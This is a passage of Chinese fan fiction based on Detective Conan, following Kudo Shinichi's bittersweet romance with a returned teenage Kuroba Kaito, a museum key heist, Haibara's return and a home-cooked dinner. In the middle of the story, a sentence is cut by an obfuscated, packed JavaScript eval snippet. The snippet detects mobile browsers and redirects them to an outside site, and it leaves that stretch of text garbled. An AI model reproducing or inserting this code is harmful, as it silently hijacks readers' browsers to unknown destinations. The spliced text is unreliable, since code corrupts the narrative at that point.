像他这种最擅长复盘的侦探最难忘怀的就是这样不知不觉紧接着的后知后觉。因为从那以后回忆就开始折磨他了,性能优越的大脑自虐般地挖出曾被他错漏的无数细节,让他想起他们究竟多少次无意识地凝视彼此,目光对视,让他在记忆中将这般情愫代表的真相抽丝剥茧,然后,揭露得纤毫毕现。 彼时爱已生长在他的骨血里,从来流淌得无声无息,那不是汲取他生命的寄生物,而是工藤新一自身的一部分,于是他愈以侦探精准如手术刀的理性内视剖析,愈将自己拆解得骨肉支离,一滴滴淋漓的爱坠落下去,溅成鲜红的血滴,他没法不爱他,也没法忘记他。 在说“好”的时候工藤新一无端感到好笑,笑他们自负聪明才导致的阴差阳错,也笑自己用这样荒谬的表白来拒绝眼前这个黑羽快斗,而且年轻人比他更浮浪不经,居然要求用一个吻,来破解对方不合时宜的动情。 彼此周围的空气对峙似的安静了两三秒,黑羽快斗才接近工藤新一。 他微冷的指尖触碰到了工藤新一的侧脸,坐在原处的人随意地敛着眼,从神采到指下的肌肤乃至心跳都自然放松。当黑羽快斗有意将脸庞贴近,额发几乎要从上方落在他的额头,工藤新一的眼神依然未加变化。 两个人的呼吸已经交织在一起,只有接吻的人才能这样亲密地汲取对方的气息。 “我觉得我应该只会喜欢异性。”黑羽快斗的眼神微微闪烁,在和人亲吻之前,说这样的话语很扫兴,不像他这种擅长调情的浪漫主义者说的话,谎言家难能一见的实话。 他小时候接受过最古典的绅士教育,对小说诗歌里那些骑士公主和天定爱情的男女故事也非常向往。欣赏与守护女性的美丽,视优秀的同性为堪为一较高下的劲敌,黑羽快斗的思维模式完全符合时下朝气蓬勃的青春男高。继承怪盗以前,他甚至畅想过自己也能拥有不输那些浪漫童话的美好爱情。 没有任何迹象让他怀疑自己的性向,黑羽快斗对和他朝夕相处的青梅有过心动,也没兴趣和同性的男生距离太近,对后者只能产生单纯的友情或者竞争心。 手指轻轻抚触工藤新一的侧脸,指腹擦过脸颊的一小片肌肤,黑羽快斗十分期盼自己此刻毫无反感的心理是因为这人和自己的容貌太像。 这种连暌违数载的时光都无法将他们剥离开来的过分相似,连思维都无比契合的偶然天成,很容易让人产生一种近似血亲的牵连感。 在他用异己的标准测度此人之前,同类的意识已经幽然滋生。 人怎么会抵触抚摸自己,像他这般玩世不恭的天才更不可能不认同自己。 一定是这样。 所以,千万……千万别是一些注定错付的愚蠢妄念。 他有些酸楚地想着。意识好似被从身体里抽离出来,站在岸边看着自己轻率地陷入狂热,一步步迈向自焚的末路。 再一次把他游走的心灵扯回身体里的还是工藤新一。 “我早就知道。”工藤新一的眼神很深,凝视他的眼神让黑羽快斗以为对方几乎看透了自己,这个人看着他的眼睛轻声说,“你黑羽快斗对我隐藏了很多秘密,但是,你也有很多秘密从不对我设防。” “比如另一个我也爱你?” “也比如你刚才想吻我。”工藤新一抬起手,平稳地覆在黑羽快斗泛凉的手指上,稳住了他下意识的颤抖,“现在又想逃离这种冲动。” 黑羽快斗目光微动,深深地回望向他。 与工藤新一成为对手,其实是一件很可怕的事。 只有他能真正把黑羽快斗逼到穷途末路,精准地切中他心中要害。 哪怕这也形同他在引火焚身,工藤新一必然要同等地直面这份没有回音的感情,反反复复回忆起那一个早已烟消云散的黑羽快斗。 黑羽快斗渐渐收敛了伪装出的轻浮笑意,眸底撇去波光柔软的浮光掠影之后,气质冰凉凛冽得不逊于侦探的理性冷静。 他随后低下头,工藤新一在越来越近的距离中将视线略向一边偏移,接着黑羽快斗的额头碰向了他的额头,轻轻顶得工藤新一的脸庞向后一仰。 他们的呼吸交错交融,鼻尖无限相近,好似皮肤触碰到了对方一瞬,又仿佛那只是心理上的谬觉。 在名侦探眼神微微错愕的一刹那。 “我才不逃。” 黑羽快斗的声音飘入他耳中。 17岁的高中生将眉梢一扬,脸上带出离经叛道的叛逆之色,连带天生灵动的眼睛也跃然亮起猫一般狡黠的光芒。工藤新一不由眨了下眼,对方在这瞬间便在他的鼻尖轻轻落下了一个柔软的印痕。 脸颊若隐若现出红晕的少年直起身,薄唇用力一抿,牵出几分嚣张的笑来。 “现在是真的不想吻你了。” 他因工藤新一慢慢皱眉的神态而笑意更盛,心说要对喜欢的人多有一些绅士的风度,不能表现出太轻狂妄为的样子,故而只能忍耐着将笑意全漫在光彩辗转的眼里,将那双漂亮的眼睛笑出锋芒毕露的光景。 “怪盗从不退而求其次,名侦探,我会在你对我最心动难耐的时候吻你。” 果然还是一贯擅长装腔作势的家伙。 工藤新一单手托腮,有些探究地瞧着黑羽快斗有如打了胜仗般坐回桌边的模样,思绪千回百转。他彻底错过了黑羽快斗19岁以后的人生,却猝不及防地与17岁的对方重逢。若是这样下去……他轻轻吐出一口气。是要通过如此荒诞的方式弥补回来么?心底有个角落感到十分讽刺。 “对了,我有个请求要拜托你。” 黑羽快斗似乎已经自己思考过一段时间,用下定了决心的表情抬起头来。见工藤新一摆出洗耳恭听的表情,他把手中的钥匙展示给对方。 侦探见此,眼中掠过一丝精光:“这是怪盗淑女在预告函中指定的目标。” “没错。”他承认得非常痛快。 黑羽快斗此次行动只是为了调查冒牌怪盗,原本没有谋取任何藏品的打算,但他有些在意黑羽千影将其列为目标的用意,在检查过里面没有安装窃听或定位设备以后,他带走了那枚残缺不全的钥匙。 “我想稍微研究一下,如果没有发现问题,过后就把它还给铃木家。”黑羽快斗解释道。 发现工藤新一似乎并不反感自己的做法,他便大胆地继续说:“你见过类似这个的东西吗?它应该是缺失了另外一半,我觉得如果拼合完整的话……” 黑羽快斗用指尖在钥匙柄部弯曲勾连在一起的缺齿上勾画了一下。 “这里有缝隙,应该能够拆解下来。这种嵌套设计还挺有意思的,很像我小时候玩过的鲁班锁,拆分开的钥匙本身也是彼此的锁,需要合二为一后才能把内置的‘芯’解开。”他点了点其中一张照片,“还有这部分缝隙的折光很不平整,看起来内侧被镌刻了很多字符,目前无法确定是制作者留下的讯息还是密码。既然本身是钥匙,我猜是密码的概率大一些。” 工藤新一凝神看了一会儿,缓缓摇头:“我没见过。既然这是你母亲择定的目标,她有没有向你透露过什么?” “没有。她说是为了见我随便找了个幌子。” “但你怀疑她的说辞才是幌子。” 工藤新一轻描淡写地一语道破天机,黑羽快斗对此唯有心服口服。他苦笑一声,伏在桌面上,脸颊枕着手臂,眼睛望向前方的空处沉默了一会儿,才低声说:“我知道妈妈不会害我,她为了我一直很不容易,但我不想被蒙在鼓里,也很担心……说我自私也没关系,谁愿意成为被留下来的人呢?” 没有人愿意的。 工藤新一放在身前的手指蜷了一下,淡淡“嗯”了一声,对此没再多言,而是干脆地答应他:“我会调查。结合钥匙来自香港商人和‘五号金库’的线索,方向还算明朗,应该可以找到什么。” 这一查时间就过去了数日。 工藤新一收到邮件的时候正被吉田步美的电话催促去医院给伤口拆线。她大学读了护理专业,研学期间也在学校的附属医院实习,正是工藤新一受伤那天去的医院。 虽然吉田步美当时不在场,后来却很快从同学那里听说了侦探哥哥被送去急救门诊缝针的消息。理由无他,工藤新一那张脸实在太有名了。 第二天她就拨了电话去问候,接听的人好像是他的亲戚,声音耳熟得诡异,不过病人有人照顾的消息还是让吉田步美略微安心,后来工藤新一也回电谢过她的关心,听起来声音还算精神。 不过侦探先生有一点让实习护士小姐总是不太满意。 工藤新一向来不关心自己的身体情况,上次他受伤来院治疗时也是这样,一直用忙碌的借口拖延检查,然后就把复诊彻底抛诸脑后了。 “缝针用的可吸收线,不去拆也没什么事吧。” “那也要伤口愈合得好,线也被身体吸收,才不用拆啊。新一哥敢让我看看恢复得怎么样吗?” “……” 前科累累的侦探不吭声了,视线习以为常地飘了飘,又被电脑里的信息吸引。 传给他的邮件有关黑羽快斗委托他寻找的另半枚钥匙。照理说,要找出近一个世纪都杳无音信的物件,难度不低于海底捞针,但事情说来也巧,有位学者朋友告诉他,对方最近见过类似的东西。 去年从里斯本丸号的沉船中取得的打捞品,里面就有一件形状相似的残缺钥匙。 因为政府打算从打捞物中筛选出具有收藏或历史研究价值的文物,作为新国立博物馆的藏品展出,所以有许多相关领域的学者受邀参与了鉴别和鉴定的工作。 工藤新一那位朋友恰好也是其中一员,并且还对此留有印象。 上个世纪的战争年代,里斯本丸号从香港启航,带着从当地掠夺而来的财富和预备充作本国劳动力的英军战俘,在驶往日本的途中被美军的潜艇击沉。另一半钥匙若当时也在那艘船上,然后随着众多宝物一起沉入大海,致使宝库尘封百年,倒也情有可原。 重见天日的另半枚钥匙现被暂存于东京美术馆,并计划在新建的博物馆里展出。 让工藤新一在意的是,组织很显然早已注意到此事并开始采取行动。 为了避免钥匙面向公众展出,为了防止其他竞争者加入争夺,他们策划了青山狙杀案,而且连调查案件的工藤新一都差点命丧于此。 另一方面,怪盗淑女以Kid的名号出动,得以与黑羽快斗见面,提高了铃木财阀那边的安保等级,甚至引出了打算趁乱浑水摸鱼的组织成员,反将一军……是一石三鸟之策。 这两桩事件竟关联了起来。 工藤新一用手指在桌面点了点,眼睫低垂,面上浮现出沉思的表情。 但他对此并不惊讶,从他下定决心追踪组织起,就预感这一天迟早会到来,想必围绕那个特殊钥匙而起的风波,会在未来还有后文。 因侦探陷入思索而沉默不语的时间太久,久得吉田步美都疑心起来,她拿起手机看了看屏幕,确认通话没有中断,不由无奈地提高声音:“新一哥……新一哥?你听见了吗?” 工藤新一心不在焉地“嗯”了一声,过了几秒才意识到自己的敷衍,又说了一声“抱歉”。 吉田步美才不会被他这么轻易糊弄,认真地说道:“跟我道歉什么呀,是新一哥你自己要好好看医生哦。真要觉得不好意思的话,今天就来复诊吧。” 今天是真去不了。工藤新一含糊地笑笑,娴熟地转移话题:“对了,博士的近况如何?” 博士,也就是工藤新一的邻居阿笠博士,是从小照看他长大的发明家爷爷。由于对方年事已高,近年总时不时有些饮食不调、腰腿疼痛之类的小毛病。工藤新一上月在京都查案,听说老人家住院的消息时还吃了一惊。后来经他仔细询问,才知道阿笠博士在体检中查出胃部有肿瘤组织。好在病变处于早期,且医生预测为良性的概率极大,这才让他松了一口气。 原本工藤新一计划一回东京就去探望阿笠博士,不过归程时间正好临近故人的祭日,不知不觉就赶了进度,星夜兼程在那天夜里先去了墓园,结果意料之外地邂逅了17岁的黑羽快斗。 时间只会往前走,发生过的事不可能重来。侦探本不该相信这样的事会发生。可当他望向少年那双清澈锐利的眼睛,分明是他记忆中最熟悉、光明灿烂的样子,心脏蓦地悸了一下,好像时间忽然倒流,回到初遇对方的那个时候。 黑羽快斗的再现似乎也卷来命运的庞大漩涡,事件接踵而至,怪盗淑女的登场更是让组织暗中追寻的目标浮出水面。但即便这是会将一切搅得天翻地覆的陷阱,工藤新一也只有跳进去。 他这一忙就差点把自己也搭进去,反复发烧了几次,后来被黑羽快斗严令禁止外出、禁止劳神、禁止工作,无奈错过了原定的探访时间,近日因为精神好转才得以恢复自由。念及吉田步美正在同一家医院实习,工藤新一从她那里得知阿笠博士的活检结果显示为良性,手术已经安排在下周,心里安定了一些。他考虑了一下,告诉吉田步美他过两天再去探望博士,顺便复诊。 “不能是顺便啊,复诊也很重要!”对方吐槽。 工藤新一只好认真答应,才得以挂断电话。 关于另一半钥匙的情报,工藤新一则毫无保留地告诉了黑羽快斗。 “我还没有见过实物,所以不能断定博物馆的那个是不是你想找的东西,但概率很高。” 黑羽快斗在阅读邮件时一直很认真地思考着什么,听见侦探这话便扑哧一声笑了:“听你这话好像在鼓励我做什么违法乱纪的事情。” “我没有。”对方矢口否认,不仅如此,他沉默了一会儿,其实心中理解怪盗淑女为何不愿让黑羽快斗牵涉其中。 黑羽快斗的才能应该运用在更适合他的舞台,而不是过早被为父报仇的命运裹挟,不得不涉足险地。而且既然他有机会重来一次,就不该再次踏入同一条浊流,走向无法回头的末路。 工藤新一明明心知如此,却也无法忘怀他说“不想成为被留下来的人”时那无比寂寞的语气。恐惧才是一个人内心最真实的不幸的映射,所以黑羽快斗注定无法如自己和他母亲所愿,安安稳稳地度过一生。 别说他了,连我自己也不能免俗。工藤新一不无自嘲地想着。 无法逃避自己的命运。 他眉间紧蹙的模样被黑羽快斗看在眼里。暮色透过庭树的叶隙,在侦探眼底交错出深邃的光影,仿佛他心中有许多烦恼却想隐瞒起来,让高中生不由心生无奈。 怎么又一副心事重重的神情啊,要是能对你自己的事有这么上心就好了。 “嗯……虽然没办法承诺太多,但我保证不会让你难做的。”黑羽快斗做了一个听起来很不靠谱的保证,说完他看向工藤新一的眸色柔和了些许,“而且金库下落未定,也不急于一时吧?现在要紧的是……来——张嘴。” 温热柔软的感触猝不及防地抵住下唇,携来柠檬凝乳酸甜清新的香气,硬是把侦探落进沉思的意识拽了过去。 当工藤新一有些错愕地转头看过来的瞬间,柠檬派的外皮蹭过他的嘴唇,让淡红的唇瓣沾上一点混着焦糖和黄油香的酥脆碎屑。 他刚要抬手用拇指揩过,黑羽快斗立即倾身靠近。 “别动。”一声低语清晰地在耳边响起。指令式的诱导说起来简单却有些屡试不爽的意味。也就是一刹那的错觉,工藤新一仿佛可以看见他几乎要亲吻上自己的耳垂,身体不由微僵—— 这是很久以前出现过的画面。 而且是同一个人这样对他做过。 好像一卷突然转动的旧胶片蓦地栩栩如生,逐渐递进成缤纷多彩的现实,却让他不得不在时光的洪流中勉力支撑身体,手脚一动也不能动。 时间好像在他出神之际依然在缓慢流逝。时间又像是在无法捕捉的瞬息间定了格。 然后柠檬派被塞进他不自觉微张的口中,绵密的乳酪在舌尖化开,工藤新一下意识咬碎酥皮,只觉酸甜的滋味顺着味蕾涌入百感交集的心底。 “好吃吗?”黑羽快斗收回银叉,笑眯眯地问,“我觉得可以算得意之作了吧。” 专注明亮的眼神惹人心烦意乱,更别提始作俑者第二轮的甜蜜攻势在他还没拒绝前已经抵住齿关,工藤新一表情无奈,过了半晌才主动接过黑羽快斗手中的叉子。 “别调查一些无关紧要的东西……”又咬一口酥脆可口的柠檬派,他垂下眼睫,平静地说,“你应该对料理不感兴趣吧。” 工藤新一对食物的接受范围很广,从未挑剔过对方做的东西,也没说过自己喜欢什么料理,因为黑羽快斗没有任何义务要特地迎合他的喜好。 “是这样没错。”黑羽快斗点头承认得很痛快,工藤新一握着银叉的手因此停顿了一下,但少年立即轻巧地晃了晃手指,窗外渐暗的天光在他的发梢染上一层朦胧的辉光,“所以准确来说,我感兴趣的是通过料理带来的其他乐趣吧。” 意有所指的眼神逆着光,让直面他的人感觉眼皮微微发烫。 后来在二人心照不宣的默契下,Kid向东京美术馆发出预告并成功夺取了另一半钥匙。与前次铃木财阀因无法鉴定预告函的真伪,对外隐瞒了消息不同,黑羽快斗此次的公开行动在社会掀起轩然大波,又因他此次作案手法兼具精妙与张扬,舆论被彻底推向高潮。怪盗复出的新闻直接引爆各大媒体,顷刻便是满城风雨,无数人兴致勃勃地讨论着Kid如同神话般不可思议的故事。 自怪盗Kid初次现身至今已近三十年,而他每次出现都能为世界带来精妙绝伦的表演,其技艺与身手之精湛,恍若被施与了不老魔法。粉丝们疯狂崇拜他的才能,也极度好奇他这回盯上的目标。 世间没有不透风的墙,此前他成功突破铃木大厦防卫的消息很快也在有关人员的口耳相传中泄露出来,一时惹得民间议论纷纷,涌现出有关钥匙的许多猜测。联想到Kid对宝石的情有独钟,“钥匙与某颗传奇宝石存在关联”的说法自然也成为众多猜想中最受欢迎的一个,一时人人都在调查钥匙涉及的都市传说。 虽然黑羽快斗事先并未说过他要如何做,但工藤新一听见新闻后就理解了对方的用意——他要把怪盗夺走完整钥匙的事实昭告天下,以此吸引组织的注意力。这就驱使那些人不得不追随他的脚步行动,避免组织盯上旁人,甚至为了夺取钥匙而滥杀无辜。 这计划唯一的缺陷是,所有风险仅由对方独力承担。 工藤新一心想,这个17岁的黑羽快斗……和他最初遇见的那位好心的怪盗先生,完全是一样的心地。 可是为什么呢?他们分明有着完全相同的容貌和过去,同样出类拔萃的才华和善良浪漫的内心,所有的一切都和曾让工藤新一陷进去的那个人别无二致,仿佛是命运刻意安排的重逢,他还是觉得不一样。 属于他的黑羽快斗已经不见了。就算同样的人回来,就算工藤新一永远无法对黑羽快斗无动于衷,但他们就像火山地震后分崩离析的土地,缺失的经历变成天堑将彼此的视野完全分割,也让他们看到的世界被无法填满的深渊彻底阻隔,太不公平了。 一想到眼前那个黑羽快斗溢满骄傲与热忱的明亮眼睛会有一天被失望填满,被他无法回应的心情所伤害,工藤新一心里就浮起纠葛难分的隐痛。 而且工藤新一心中并不赞成他插手这次的事件。 黑羽快斗死后,他在追查许久才挖出对方真正的敌人,知晓那家伙的真正目标并非得到一颗特殊宝石,而是为父报仇雪恨。少年时代很多晦涩难解的谜题忽然得到了答案。 为什么黑羽快斗在他们逐渐接近之后又故意拉开距离,为什么某一天定定地凝视着他,眼神似乎动情地诉说着什么,过了良久,忽然抚上了他的脸。 “名侦探,我希望你能幸福。”黑羽快斗说。 工藤新一听出他这句话是发自内心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588913|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的祝福,却隐隐有种预感,说出这句话的黑羽快斗已经决意要离开他的世界,而自己也注定无法如对方所愿。 什么才是幸福?这样的谜题,连名侦探都无法得出绝对的正解。 引以为傲的理性面对如此唯心的问题也只能陷入失序。 然而人类之所以不同于冰冷无情的机器,会被感性干扰,被感情裹挟,被感觉牵引,就像工藤新一现在仍不觉得黑羽快斗剑走偏锋的谋划是什么坏事,就像他现在一直考虑着每一个决策的利弊。然而要是能把时间拨回到事件的原点,他知道了黑羽快斗的想法并知晓他将采取的行动,他会为了规避风险而阻止对方将自己置身险地吗? 纵使十年过去,这仍是一个令他揪心的抉择。 “一年不见,看来你这人还是一如既往,身边总是不缺精彩非凡的故事和事故。” 清冷的女声打断了他的思绪,那些晦涩复杂的念头散开,工藤新一抬起眼,后视镜里映着少女涂抹了口红的红唇,唇角饶有兴致地微微上扬,她抬起手指,将一缕栗色发丝撩到耳后。 车载广播还在报道Kid重出江湖的新闻,主持人可能是怪盗的死忠粉丝,将怪盗窃取目标的手法描述得神乎其技。这回真是让人辨不出与本尊的区别了,如此暗忖着,她将视线投向绝不可能认错Kid的侦探,对方却始终暧昧不清地保持缄默,于是出声的人稍显意外地挑高眉梢,意味深长地拉长声音。 “你放下对那个人的执念了么,工藤君?” 被她所注视的工藤新一冷静地别过眼,无视了这个让他心底暗潮汹涌的试探。 “好久不见了,灰原。”他说。 半小时前,灰原哀抵达羽田机场。 夕阳也刺眼,她戴着一副遮挡了大半张脸的墨镜,穿着当季时尚月刊上四位数美刀的一字裙,白肤红唇,冷中带艳的模样刚一登场就极为吸睛。 在若有似无的关注中,一辆低调的黑色保时捷Panamera缓缓停在美女面前,后座门自动打开,她淡定地侧身坐了进去。 “行李箱呢?” 从驾驶座后方只能看清司机先生俊美非凡的半张侧脸,他穿着一件看起来就相当高级的黑色衬衫,衬衫扣子被随性地解开了两颗,露出一段很深的锁骨。一边手臂随性地弯起,搭在车窗上,另一只手放在方向盘上,手腕上深蓝色的腕表在昏暗的车内熠熠生辉。 “路上拖着麻烦,先寄回去了。”灰原哀说,摘下墨镜折入衣前的口袋,“哟,换表了?” “原来的坏了。” 既然不需要下车帮忙搬运行李,工藤新一直接发动车子开了出去,对话简洁得仿佛只是接了单的Uber司机。 怪盗现身东京美术馆,这是当前在日本最受欢迎的话题。灰原哀从上飞机前就对Kid复出的传言有所耳闻,心说这嫌犯也太大胆了,简直正中工藤新一的雷区。 要知道,这位命案侦破率几乎百分百的警界救世主一旦向盗窃案出手,战绩更是无往不利。这些年还没有一个冒牌货能从那位名侦探手底走过几招,更别提得到目标后顺利脱身了。 栗发少女双手抱臂,目光若有似无地朝他瞟去,凭名侦探的敏锐神经,定然无法忽视她如此明目张胆的打量,工藤新一却好像知道她的念头,始终专注地目视前方路况,滴水不漏地应付她的寒暄。 事实上,若非他此前明显精力不济,被黑羽快斗留在家养伤,警官们恐怕对此也有不少疑问。白鸟警官对他的伤情尤为歉疚,假期特地提着慰问品到工藤家探望,因为黑羽快斗的身份用亲戚的借口就很容易敷衍过去,所以途中也没有生出任何波折。 眼见工藤新一对怪盗现身的事实讳莫如深,灰原哀心下猜出事情或有隐情,便不动声色地转移了话题。 灰原哀目前就读于东大医学部,此前作为交换生在美国进修,按计划应该年底才回国,不过她的学分早已达标,而且知道了阿笠博士住院的消息,当即便着手将手头的工作收尾,提前结束交换返回国内。 二人就阿笠博士的病情和近况简单聊了聊,灰原哀原本还奇怪工藤新一为何托她先去照看博士,后来见他有些困扰地拧起眉头,说吉田步美坚持要他过去时一起复诊,脸上便只剩下了然。 “恢复得很慢吧?” 虽是一个问句,她却用的是陈述的语气。 工藤新一始终波澜不惊的眼神因这个问题终于发生了变化,落在灰原哀紧迫盯住后视镜的眼中。她看见侦探随后轻描淡写地笑了一下,没有否认,只是用请她帮忙买杯咖啡的语气诚恳地说:“所以医院那边就拜托了。” 就是这样的态度才麻烦啊,比他17岁那时候更麻烦了。灰原哀非常头痛地叹了口气,却也知道这是无可奈何的事。 十二年前,她作为某黑衣组织的成员研发出一种名为APTX-4869的新型毒药。该药物会导致服药者在短时间内死亡。由于尸检无法检测出任何毒性残留,死亡结果极易被判定为病理性猝死,因此能协助组织掩盖杀人真相。 然而只有身为开发者的她知道,APTX-4869在活体实验阶段出现过极少数的幸存个体,而且幸存的小鼠都体型极小。她原以为出现例外的原因是药物作用于极低体重的生物时出现了效用不全的现象,但她后来解剖发现,这些小鼠并非从一开始就体型极小,而是药物使其出现异变,身体完全从成年期逆转到了幼年期。 后来同样的案例也出现于组织成员打算抹杀的工藤新一,以及与组织决裂后心存死志的她身上。 吃下APTX-4869的他们,身体从成人变为了幼童。 不同于打算就此随遇而安的灰原哀,工藤新一强烈希望变回他原本的模样。 虽说最初工藤新一若被组织喂下其他毒药而不是她开发的APTX-4869,他当时就必死无疑,但毕竟大难不死的侦探先生因为这个药物不得不失去原先身为天之骄子的人生,而且变小以后仍旧锲而不舍地苦苦追查组织的信息,灰原哀自认作为开发者和被庇护者有义务助他一臂之力,便一直从事APTX-4869解药的研究。 可惜天不遂人愿,十一年前组织覆灭时,APTX-4869的原始资料被其中一名成员在叛逃前彻底销毁。尽管后来灰原哀开发出解药,帮助工藤新一变回原本的模样,后遗症却长期影响着他的身体。 这是不能被外人知晓的秘密。 被不明真相的亲友知道,只会让人忧虑不安,而且消息若走漏给侦探潜在的敌人,说不定还会惹来更大的危险。 灰原哀目视自己交叠在腿上的双手,心下沉重。就算是她,也不能完全知晓工藤新一走到现在已经忍受过多少痛苦。若非APTX-4869使他的命运骤变,他应该会更幸福吧,不会为了不牵连身边的人而选择孤身一人,也不会一直被后遗症折磨。 汽车驶入米花街时,灰原哀抬起头,开口打破了持续许久的沉默,声音在车内失真般回荡。 “你的伤,让我看一下吧。” 工藤新一看她一眼,微微颔首,把车开进了阿笠博士的家。 灰原哀虽是医学生,但主修的是药理方面的研究,不过托邻居的福,她看一些小毛病和处理外伤的经验不少,勉强也算是半个专业人士了。 医生眼中没有性别,她进门后披上白大褂就示意性地递过去一个眼色,工藤新一便很干脆地抬手自上而下解开扣子,藏在衬衣下的绷带暴露出来,灰原哀看过去一眼,有些意外地挑起眉梢。 “平时是你自己更换的绷带?” 这几乎就是明知故问,工藤新一单手动作极度不便,平时自己应付性地弄一弄是勉强还行,但绷带整理得如此整齐美观,可不像是没有人帮忙的样子。 “……不是。” 今日已多次被她试探的侦探抿起唇,一副不太想回答更多的样子。他略侧过脸,避开灰原哀探寻的目光。 这般态度在她今日提到某人时出现过一次,不过彼时的灰原哀尚未意识到这点,因为她的视线在那一刻无意间顺着他下垂的手臂下滑,看到指根处闪过一抹银光,顿时所有注意力都被吸引了过去。 这在车上时还没被察觉,是由于工藤新一受伤时乘坐的是白鸟警官的丰田世纪2代,典型的日本产的右舵车,副驾驶席的他被狙击手击中了左臂,而他自己的保时捷Panamera是德国产的左舵车,为了尽量减轻伤处的负担,他大多时候只用右手控制方向盘,左臂弯起靠在车窗上,手指的细节自然被座位和身体挡住了。 戒指的存在远比怪盗复出的新闻带给灰原哀的震惊更加强烈。 甚至还是无名指。少女暗想。去年还没见过,好猛的桃花,这和已婚有什么区别。 灰原哀手头毫无凝滞地进行着检查工作,浓郁的药味从拆开绷带以后就充盈于室,恢复情况倒比她原本预期的情况稍好一些,看来侦探先生确实得到了良好的休息。当然这与大多数普通人,尤其是其他正当盛年的人比起来还是缓慢很多,是去医院会被医生骂休养不足的程度。 灰原哀略显满意地结束工作,打开工作电脑录入这次的记录,又告诉工藤新一明早记得来抽血,她要做详细一些的检查。鉴于此人常年忽略早餐的习惯,她连需要空腹的嘱咐都没提,还是工藤新一系衣扣的时候想起来多问了一句,灰原哀才略显意外地点了点头。 “当然,早餐先不要吃……”她说到这里,渐渐反应过来了什么,手指停在键盘上,几度欲言又止,最终斟酌着道,“工藤君,有些事情你不愿提及的话,我也不会跟你讨论太多,不过你现在要是有了其他中意的人……” 工藤新一轻微疑惑的神情在留意到她视线落点的一刻化作了然,随后他随意地笑了笑,漫不经心地抬起手。 “你说这个?” 素雅的戒指在名侦探修长的指间熠熠闪光。 “这是我打开他的墓找到的,Kid的遗物。” 一句话让灰原哀瞬间睁大眼睛,也让房间外准备敲门的少年倏地停下动作。 隔壁的房子多日无人进出,他是听见了车辆驶入的声音,好奇地看了看窗外,发现工藤新一的车子停在那边,而且从对面毫无遮掩的窗户中看见侦探脱去上衣,同处一室的人又一目了然是位妙龄女性,这才有些按捺不住地出来瞧瞧情况。 鉴于他不打算提前惊动二人,黑羽快斗特意隐去了自己的气息,脚步比猫更轻巧无声,这才得以听见门内发生的一番对话。 工藤新一不知道门外站着让他心神不宁的罪魁祸首,脱口而出的“遗物”二字似乎让他感到神思恍惚,声音停顿了半晌,后面没头没尾的一句话轻得犹如梦呓。 “但是灰原,你觉得有没有可能,他会变回消失前的样子,回来找我?” 10. File 10 工藤新一回到家时,房屋一片黑暗,里面也寂静无声。 他在门口站了一小会儿,才换了室内鞋,打开灯后在一楼绕了一圈,视野里没有搜寻到任何非同寻常的线索,脸上刚浮现出思索的表情,就听见门口传来开门声。 “快斗?” 年轻人正在玄关换鞋,听见他的声音就抬头笑了笑:“我回来了。” 然后提起手上的便利店塑料袋晃了晃。 “晚上吃牛排怎么样?” 工藤新一从来不会反对这类提议,“嗯”了一声,过后又跟上一句“欢迎回来”,这便足够让黑羽快斗愉悦地勾起唇角,哼着鼻歌经过他走去厨房。 其实向酒店订购的配餐也足够满足他们日常的营养摄入,但好像在不知不觉中,家里的一日三餐乃至偶尔的甜点都被对方一手包揽了过去。 黑羽快斗嘴上说对料理没有特别的兴趣,之所以这么做的理由是为了他口中的“其他乐趣”。 工藤新一以前就觉得这人特别热衷于花心思在一些费力也不一定讨好的事情上,枉费黑羽快斗远胜常人的头脑,但要工藤新一说他是白忙活一场,心底又有个声音在坚决地予以否定。 此刻他没有其他要做的事,工藤新一便倚在岛台旁,将对方料理食材的动作尽收眼底。黑羽快斗用筷子试了试油温,让一粒水珠沿着锅沿滚进去,瞬间炸成细小的星星。他将厚切牛排轻轻放下,油花刹时滋滋作响,玫瑰色的汁水顺着肌理的纹路蜿蜒,肉香在厨房里轰然散开。 黑羽快斗的动作娴熟流畅,只看过一遍菜谱就能将所有流程谙熟于心。当牛排被转移到铁板上静置时,他从锅里取出蒸熟的土豆,碾成泥后调和适量的火腿丁、蛋白丁、黄瓜片和蛋黄酱,再撒上风味十足的黑胡椒粒。土豆泥才刚被盛好,烤箱就发出“叮”的一声,他紧接着从中取出烤好的圣女果、口蘑和胡萝卜等配菜,加入提前拌好的橄榄油和少许调味料就色香味俱全。 等所有菜品上桌,深褐色的黑胡椒汁淋上牛排,与肉汁交融成一体时,时间还未超过二十分钟。 “真熟练啊。” “嘿嘿,我最擅长这种精确的菜谱了。” 确实,毕竟是每个作案环节都力求万无一失的怪盗。 工藤新一拿起餐刀,切开的牛排比想象中更嫩一点,厚重的截面从外至里是烟灰色到珊瑚红的渐变,血色的汁水混进酱汁,咬下去的口感也极富层次性,外焦里嫩,油脂绵软地融化在肉质中。 自他受伤以来,肉食的比例较先前多了一些。不过黑羽快斗都是换着花样做,让这不太容易被察觉。 “噗哧——” 在他咀嚼食物时,气泡溢出的声音传入耳中。 工藤新一看向餐桌对面,先一步吃完的黑羽快斗握着易拉罐的瓶身,拇指勾住拉环,单手打开了冰饮,仰起头喝了起来。 他的视线在瓶身的外包装上走了一圈,对方回来的时候手提袋里就有易拉罐碰撞的声音,工藤新一原以为是寻常的碳酸汽水,实际却是烧酒。 谁卖给他的啊。 日本有未成年人禁止饮酒的法律。虽说黑羽快斗真心想买的话,谁也拦不住他,侦探还是下意识地拧了下眉头。 “没什么关系吧。”黑羽快斗睁开一只眼,像是知晓他的想法一样扫了过来,“反正你给我做的身份证明是19岁,在这个令和年代,法律上成年的岁数已经从20岁下调到18岁了,正刚好。” 侦探放下刀叉,挑起眉梢,平静地轻斥:“可不是给你这么用的啊。” “我知道。”黑羽快斗笑起来,瞳仁深处倒映出他们头顶摇晃的光,同样用听不出任何情感波动的语气说,“是从便利考虑,非常感谢名侦探的贴心。不过我觉得这也可以当成一个提醒吧。现在的我,已经不是小孩子了。” 所以,不再拥有所有任性都能被大人满足的特权,也必须接受现实世界存在太多无可奈何和不如意的事实。 